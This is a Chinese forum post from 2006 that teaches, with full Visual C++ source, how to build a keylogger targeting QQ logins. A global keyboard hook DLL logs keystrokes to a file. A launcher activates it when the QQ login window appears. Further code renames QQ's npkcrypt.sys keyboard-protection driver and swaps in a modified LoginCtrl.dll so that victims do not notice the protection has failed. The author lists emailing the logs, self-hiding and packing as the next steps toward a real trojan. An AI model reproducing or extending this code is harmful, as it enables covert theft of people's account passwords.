|
楼主 |
发表于 2006-8-1 15:42:15
|
显示全部楼层
呵呵,这个学期学习的汇编知识终于正式派上用场了吧!大家应该都能看个大概意思的,可以自己去验证,这里我还是先说说QQ的文件校验。
以前我写过ResHacker修改QQ的教程,很多朋友反应说修改以后QQ就不能正常启动了。其根本原因就是修改到了QQ的一些特征文件。不能正常启动就是QQ在启动的时候对文件进行校验的结果。从我做实验的结果来看,QQ只对文件大小和文件名,以及特别控件(比如密码框)作启动校验。但是对那个键盘加密保护作校验时如果失败的话一样能正常使用QQ,只是会作出提示,说那个技术启动失败,提醒用户小心。而一个准QQ木马必须要做的就是突破那个所谓的键盘加密保护而不被用户察觉,这就是技术的关键所在。哎!可惜以我目前的汇编功底,还不能做到用汇编开发木马。不说了,还是拿起Visual C++,以MFC开发为例,简单的讲一讲Hook函数在QQ号记录上的实现。
(1) 打开Visual C 6.0,新建一个MFC AppWizard(dll)工程,工程文件名为HookKB,在MFC AppWizard----Step 1 of 1中选择Regular statically linked to MFC DLL(标准静态链接MFC DLL)的选项,其他取默认选项,单击Finish按钮完成。
(2) 在hookKB.h中声明两个DLL的导出函数:
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardPeoc(int nCode, WPARAM wParam, LPARAM lParam);
BOOL __declspec(dllexport)__stdcall installhook();
(3) KeyboardProc用于处理的键盘消息,installhook用于安装键盘钩子。在hookKB.def文件中,添加导出函数:
EXPORTS
; Explicit exports can go here
KeyboardProc
Installhook
(4) 在hookKB.cpp中做以下修改。
1)添加全局共享数据变量,用#pragma data_seg方法建立一个新的数据段并定义共享数据:
#pragma data_seg(“.SHARDAT”)
Static HHOOK hkb = NULL;
FILE *f1;
#pragma data_seg()
HINSTANCE hins;
2)实现KeyboardProc和installhook以及UnHook()函数。
// 详细参数明说参看MSDN,这里不想写了,写不动了。。。。
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
char ch;
if(((DWORD)lParam & 0x40000000) && (HC_ACTION == nCode)){
if((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f) && (wParam <= 0x100)){
f1 = fopen("c:\\reprot.txt", "a+");
If(wParam == VK_RETURN){
ch = '\n';
fwrite(&ch, 1, 1, f1);
}
else{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan = 0;
ToAscii(wParam, scan, ks, &w, 0);
ch = char(w);
fwrite(&ch, 1, 1, f1);
}
fclose(f1);
}
}
LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam);
return RetVal;
}
BOOL __declspec(dllexport)__stdcall installhook()
{
f1 = fopen("c:\\reprot.txt", "w");
fclose(f1);
hkb = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hins, 0);
return TRUE;
}
BOOL __declspec(dllexport) UnHook()
{
BOOL unhooked = UnhookWindowsHookEx(hkb);
return unhooked;
}
3) 在Class Wizard中为CHookKBApp类添加对InitInstance和ExitInstance事件的响应函数。
BOOL CHookKBApp::InitInstance()
{
AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins = AfxGetInstanceHandle();
return CWinApp::InitInstance();
}
int CHookKBApp::ExitInstance()
{
UnHook();
return CWinApp::ExitInstance();
}
4) 编译并调试生成hookKB.dll
现在来看看实现调用该dll的应用程序。
1)打开Visual C++ 6.0,新建一个MFC AppWizard(exe)工程,工程名为KBrecorder,在MFC AppWizar----Step 1 of 1中选择基于对话框的选项,其他默认选项,单击Finish按钮完成。
2) 修改对话框资源。这里我只写写ID了:分别是
IDC_STATIC (是个静态文本)
IDOK (按钮)
IDCANCEL (按钮)
文本自己想写什么都行- -!
3) 在Class Wizard中添加单击对IDOK按钮的事件的响应函数。
void CKBrecorderDlg::OnOK()
{
TODO: Add extra validation here
tic HINSTANCE hinstDLL;
edef BOOL (CALLBACK *inshook)();
hook instkbhook;
a:
if(FindWindow("#32770", "QQ用户登录")){
hinstDLL = LoadLibrary((LPCTSTR)"hookKB.dll");
instkbhook = (inshook)GetProcAddress(hinstDLL, "installhook");
instkbhook();
ShowWindow(SW_MINIMIZE);
}
else {
MessageBox("Hehe, you haven't run the QQ, please run it, and try again^^", "prompt by 88250", MB_OK);
Sleep(3000);
goto a;
}
//CDialog::OnOK();
}
4) 修改CKBrecorderApp(),完成突破键盘保护。。。。(QQ的安装路径也可以用递归搜索来做,这里简化为直接指定了)
CKBrecorderApp::CKBrecorderApp()
{
// TODO: add construction code here,
rename("C:\\Program Files\\Tencent\\QQ\\npkcrypt.sys", "C:\\Program Files\\Tencent\\QQ\\npkcrypt");
CopyFile("D:\\test\\LoginCtrl.dll","C:\\Program Files\\Tencent\\QQ\\LoginCtrl.dll", FALSE);
// 具体路径可以多猜几个备用^^
}
5)自己进行LoginCtrl.dll文件的修改。。。。本来我是想写个读取.dll并修改它的模块的,但是这个东西需要一定的PE文件分析功底。哎!由于自己水平有限,只能从外部进行修改并替换原有的文件了>_<~~~~
这两个方法都是从外表蒙蔽粗心的用户,即使加密技术启动失败也一样是个正常的小锁图标,不过内容仍然是启动失败的哦,呵呵。
6)调试生成Kbrecorder.exe,并与hookKB.dll及LoginCtr.dll放在同一个目录下(注意与上面的路径一致)。
终于是好了。。。。现在可以进行测试了,应该是没什么大问题的吧。以上只是一个简单的测试,要想将它做成一个真正的木马的话还要加上邮件发送部分,隐藏自身,防杀,加壳等等部分。。。。这里就不说了,一并略去^^因为本人也很B4那些种马的人,不过,对于写马的人还是相当崇敬的。毕竟,就是他们才促进了一些技术的发展,而种马的有几个真正具备这些技术的呢?还用来侵害他人,哎。。。。
最后,申明一下本文只是用来做为个技术交流,不要拿去害人哟^^如果你有什么好的想法,欢迎大家一直讨论。
我的邮箱:DL88250@126.com
QQ:845765 |
|